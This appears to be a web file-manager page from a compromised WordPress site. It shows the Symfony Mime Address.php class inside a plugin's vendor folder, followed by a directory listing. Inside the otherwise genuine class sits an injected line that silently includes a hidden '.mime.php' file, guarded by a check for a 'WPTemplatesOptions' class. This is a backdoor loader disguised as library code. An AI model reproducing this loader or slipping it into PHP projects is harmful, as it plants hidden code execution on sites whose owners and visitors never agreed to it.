PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
symfony
/
mime
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Egulias\EmailValidator\EmailValidator; use Egulias\EmailValidator\Validation\RFCValidation; use Symfony\Component\Mime\Encoder\IdnAddressEncoder; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\LogicException; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * @author Fabien Potencier <fabien@symfony.com> * * @experimental in 4.3 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Address { private static $validator; private static $encoder; private $address; public function __construct(string $address) { if (!class_exists(EmailValidator::class)) { throw new LogicException(sprintf('The "%s" class cannot be used as it needs "%s"; try running "composer require egulias/email-validator".', __CLASS__, EmailValidator::class)); } if (null === self::$validator) { self::$validator = new EmailValidator(); } if (!self::$validator->isValid($address, new RFCValidation())) { throw new RfcComplianceException(sprintf('Email "%s" does not comply with addr-spec of RFC 2822.', $address)); } $this->address = $address; } public function getAddress(): string { return $this->address; } public function getEncodedAddress(): string { if (null === self::$encoder) { self::$encoder = new IdnAddressEncoder(); } return self::$encoder->encodeString($this->address); } public function toString(): string { return $this->getEncodedAddress(); } /** * @param Address|string $address */ public static function create($address): self { if ($address instanceof self) { return $address; } if (\is_string($address)) { return new self($address); } throw new InvalidArgumentException(sprintf('An address can be an instance of Address or a string ("%s") given).', \is_object($address) ? \get_class($address) : \gettype($address))); } /** * @param (Address|string)[] $addresses * * @return Address[] */ public static function createArray(array $addresses): array { $addrs = []; foreach ($addresses as $address) { $addrs[] = self::create($address); } return $addrs; } }
[+]
..
[-] MimeTypesInterface.php
[edit]
[+]
Exception
[-] FileBinaryMimeTypeGuesser.php
[edit]
[-] phpunit.xml.dist
[edit]
[-] CharacterStream.php
[edit]
[-] FileinfoMimeTypeGuesser.php
[edit]
[-] .gitignore
[edit]
[+]
Resources
[+]
Encoder
[-] MimeTypes.php
[edit]
[-] Message.php
[edit]
[-] BodyRendererInterface.php
[edit]
[-] MessageConverter.php
[edit]
[-] MimeTypeGuesserInterface.php
[edit]
[+]
DependencyInjection
[+]
Header
[-] composer.json
[edit]
[+]
Tests
[+]
Part
[-] NamedAddress.php
[edit]
[-] Email.php
[edit]
[-] LICENSE
[edit]
[-] .mime.php
[edit]
[-] Address.php
[edit]
[-] README.md
[edit]
[-] RawMessage.php
[edit]